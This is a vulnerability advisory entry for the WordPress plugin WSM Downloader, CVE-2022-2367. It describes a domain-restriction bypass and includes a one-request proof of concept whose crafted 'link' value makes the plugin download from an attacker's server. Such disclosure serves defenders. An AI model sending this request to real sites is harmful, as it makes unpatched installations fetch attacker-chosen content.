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WordPress Plugin Vulnerabilities

WSM Downloader <= 1.4.0 - Domain Name Restriction Bypass

Description

The plugin allows only specific popular websites to download images/files from, this can be bypassed due to the lack of good "link" parameter validation

Proof of Concept

POST /blog/wp-admin/admin-ajax.php HTTP/1.1
Host: target
...
...
...

action=wsmd_user_download_request&link=http://instagram:[email protected]_SERVER/test&requestlink= 

Affects Plugins

wsm-downloader
No known fix - plugin closed

References

CVE
CVE-2022-2367

Classification

Type

BYPASS

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter
raadfhaddad
Verified

Yes

WPVDB ID
46afb0c6-2d0c-4a20-a9de-48f35ca93f0f

Timeline

Publicly Published

2022-07-12 (about 6 months ago)

Added

2022-07-12 (about 6 months ago)

Last Updated

2022-08-22 (about 5 months ago)

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